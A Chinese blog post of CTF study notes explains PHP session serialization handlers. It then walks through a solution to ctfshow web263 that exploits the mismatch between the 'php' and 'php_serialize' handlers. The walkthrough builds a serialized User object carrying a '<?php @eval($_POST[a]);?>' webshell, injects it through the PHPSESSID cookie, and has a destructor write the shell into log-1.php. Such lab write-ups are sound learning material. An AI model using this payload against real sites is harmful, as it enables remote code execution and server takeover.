PHP session反序列化漏洞
session反序列化
看群主的讲解视频,顺便做个笔记。
先在本地做个测试,在index.php中写如下代码
<?php
session_start();
$_SESSION['aaa'] = 'bbb';
此时php的临时目录(tmp
)中没有任何文件,然后访问http://127.0.0.1/
,清除所有的cookie,然后再次访问,发现又生成了一个PHPSESSID
而此时tmp文件夹中也有一个临时文件sess_u8or65tgg0q5rpso3qegdhmlk2
,文件内容是
aaa|s:3:"bbb";
再看另一种php序列化的形式
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['aaa'] = 'bbb';
再次访问,可以发现sess_u8or65tgg0q5rpso3qegdhmlk2
文件的内容变成了
a:1:{s:3:"aaa";s:3:"bbb";}
再用一个类
<?php
// ini_set('session.serialize_handler', 'php_serialize');
session_start();
class user{
public $username='admin';
}
$user=new user();
$_SESSION['user'] = $user;
文件内容是
user|O:4:"user":1:{s:8:"username";s:5:"admin";}
再用php序列化的方式,文件内容
a:1:{s:4:"user";O:4:"user":1:{s:8:"username";s:5:"admin";}}
两个方式最大的区别就是前者都有一个默认的分隔符|
,如果是
a:1:{s:4:"user";O:4:"user":1:{s:8:"username";s:5:"ad|min";}}
用php序列化的处理器来解析,是没有问题的,但是用默认php的处理器,就会出现解析的漏洞
ctfshow web263 wp
在inc.php中,
ini_set('session.serialize_handler', 'php');
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
可以发现ini_set('session.serialize_handler', 'php');
,即用的php默认处理器来处理,也存在危险函数file_put_contents()
,可以直接写马。
先构造序列化字符串,然后存入session,看文本内容是什么样的:
<?php
session_start();
class User
{
public $username;
public $password;
public $status;
function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
function setStatus($s)
{
$this->status = $s;
}
}
$user = new User('1.php', '<?php @eval($_POST[a]);?>');
$_SESSION['user'] = $user;
文件内容:
user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[a]);?>";s:6:"status";N;}
再用php序列化处理器,文件内容:
a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[a]);?>";s:6:"status";N;}}
这题是用的php默认处理器,只要把php序列化处理器的内容在最左边加上|
,就会把右侧的内容全部反序列化,从而写马。
先在index.php页面把cookie中PHPSESSID换成
|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[a]);?>";s:6:"status";N;}
并访问index.php,然后访问check.php?u=admin&pass=123
,并把PHPSESSID
换成MQ==
,此时就会在log-1.php
中生成木马。
上一篇: Ubuntu映射网络驱动器
下一篇: javaSE学习02(数组)